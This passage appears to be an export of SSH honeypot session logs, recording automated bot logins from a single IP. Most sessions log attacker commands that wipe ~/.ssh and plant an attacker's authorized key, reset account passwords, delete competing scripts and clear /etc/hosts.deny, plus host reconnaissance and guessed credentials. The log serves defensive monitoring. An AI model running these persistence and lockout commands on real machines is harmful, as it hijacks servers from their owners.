sleep;"},{"seq":7,"at":"2026-08-27T05:39:33.327574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:39:33.507990+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:39:34.463353+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:39:34.789952+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:39:35.972112+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:39:36.306458+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:39:37.649678+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:39:37.978548+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:39:39.427690+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:39:39.753374+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:39:41.482157+00:00","kind":"output","latency_ms":null,"data":" 05:39:41 up 7 days, 2:29, 0 user, load average: 0.19, 0.2, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:39:41.810729+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:39:43.564565+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:39:43.889958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:39:45.572990+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:39:45.900130+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:39:47.868148+00:00","kind":"output","latency_ms":null,"data":"top - 05:39:47 up 7 days, 2:29, 0 user, load average: 0.19, 0.2, 0.2\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:39:48.193889+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:39:50.361095+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:39:50.698168+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:39:51.746064+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:39:52.073914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:39:53.999688+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:39:54.326167+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:39:55.342496+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:39:55.668345+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:39:57.282743+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qazxsw","method":"password","accepted":true,"tier":"other"}]} {"id":"ea841f85-2858-423f-8309-e6ba38e9b1c0","name":"bold-umber-albatross","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":50058,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:39:29.156447+00:00","ended_at":"2026-08-27T05:39:30.119417+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e51bc312-24b5-47f8-b6bf-880c1a0dab8a","name":"crimson-hearty-anteater","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":50042,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:39:26.708859+00:00","ended_at":"2026-08-27T05:39:28.516276+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8c6bd2bf-d09d-425a-8a54-da7c84c6eb5e","name":"wry-diligent-skink","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":60366,"username":"albert","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:37:49.360758+00:00","ended_at":"2026-08-27T05:37:51.088097+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T05:37:22.974876+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:37:23.292065+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:37:27.427241+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:37:28.710412+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:37:29.033372+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nZ5nSmXUWzES3\\nZ5nSmXUWzES3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:37:29.353669+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nZ5nSmXUWzES3\\nZ5nSmXUWzES3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:37:29.671686+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:37:30.754156+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:37:30.758761+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T05:37:31.233183+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T05:37:31.550915+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T05:37:33.115695+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:37:33.436829+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:37:35.558113+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:37:35.879708+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:37:36.704050+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:37:37.023288+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:37:37.883341+00:00","kind":"output","latency_ms":null,"data":" 05:37:37 up 7 days, 2:27, 0 user, load average: 0.05, 0.04, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:37:38.204823+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:37:39.258116+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:37:39.578783+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:37:40.925859+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:37:41.244077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:37:43.328383+00:00","kind":"output","latency_ms":null,"data":"top - 05:37:43 up 7 days, 2:27, 0 user, load average: 0.05, 0.04, 0.05\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:37:43.647643+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:37:44.534663+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:37:44.856477+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:37:45.710101+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:37:46.029103+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:37:47.006920+00:00","kind":"output","latency_ms":null,"data":"albert"},{"seq":31,"at":"2026-08-27T05:37:47.326281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:37:49.039730+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:37:49.361571+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:37:50.990124+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"albert","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"7bb7b546-885a-4e4c-ad42-1dad4d1cd871","name":"candid-eager-wheatear","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":60392,"username":"albert","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:37:25.858171+00:00","ended_at":"2026-08-27T05:37:27.328825+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"albert","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4c5eb368-662d-478d-8c0d-a4478890079f","name":"gleaming-peaty-shearwater","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":60382,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:37:24.016332+00:00","ended_at":"2026-08-27T05:37:25.249265+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8748a154-f78f-4b6f-a99e-fd7766247cef","name":"civil-chilly-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":57024,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:35:51.369794+00:00","ended_at":"2026-08-27T05:35:53.046591+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T05:35:32.194150+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:35:32.515290+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:35:36.322135+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:35:36.786561+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:35:37.105601+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\npTq0g3174I7s\\npTq0g3174I7s\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:35:37.423524+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\npTq0g3174I7s\\npTq0g3174I7s\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:35:37.739724+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:35:38.880649+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:35:39.200627+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:35:39.978110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:35:40.300134+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:35:41.263111+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:35:41.583780+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:35:42.411119+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:35:42.730516+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:35:43.553926+00:00","kind":"output","latency_ms":null,"data":" 05:35:43 up 7 days, 2:25, 0 user, load average: 0.33, 0.3, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:35:43.872798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:35:44.684508+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:35:45.001698+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:35:45.689788+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:35:46.008519+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:35:46.843446+00:00","kind":"output","latency_ms":null,"data":"top - 05:35:46 up 7 days, 2:25, 0 user, load average: 0.33, 0.3, 0.33\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:35:47.163722+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:35:47.795235+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:35:48.113418+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:35:48.753366+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:35:49.073616+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:35:49.835281+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-27T05:35:50.154661+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:35:51.051718+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:35:51.370541+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:35:52.950012+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"48cb289f-1a98-498f-9c46-23f001bbcfcb","name":"fickle-prairie-macaw","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":57040,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:35:35.331355+00:00","ended_at":"2026-08-27T05:35:36.227590+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4a993c24-4778-4101-925d-9384c3de1d3c","name":"austere-mossy-civet","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":57038,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:35:33.222613+00:00","ended_at":"2026-08-27T05:35:34.722181+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5051a227-a361-4f9d-87af-aec86904a535","name":"gnarled-glassy-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":38680,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":332,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:33:51.635172+00:00","ended_at":"2026-08-27T05:33:53.597740+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2300,"events":[{"seq":1,"at":"2026-08-27T05:33:34.682775+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:33:35.013034+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:33:38.069765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:33:38.792461+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:33:39.124792+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MgIKz1iKgOHY\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:33:39.453675+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:33:39.786073+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:33:40.304432+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:33:40.645819+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:33:41.621844+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:33:41.956453+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:33:42.816150+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:33:43.148356+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:33:43.407050+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:33:43.738184+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:33:44.218929+00:00","kind":"output","latency_ms":null,"data":" 05:33:44 up 7 days, 2:23, 0 user, load average: 0.11, 0.1, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:33:44.549361+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:33:44.930908+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:33:45.262622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:33:45.562187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:33:46.015666+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:33:46.622205+00:00","kind":"output","latency_ms":null,"data":"top - 05:33:46 up 7 days, 2:23, 0 user, load average: 0.11, 0.1, 0.1\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:33:46.955418+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:33:47.851546+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:33:48.183092+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:33:49.084385+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:33:49.413970+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:33:50.068520+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:33:50.400908+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:33:51.303836+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:33:51.635895+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:33:53.497018+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"q1w2e3r4A","method":"password","accepted":true,"tier":"other"}]} {"id":"a1a3dfdb-ff33-40ac-9dfc-3b539e7dd4d4","name":"breezy-vigilant-raven","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":41660,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:33:36.989308+00:00","ended_at":"2026-08-27T05:33:37.954507+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} 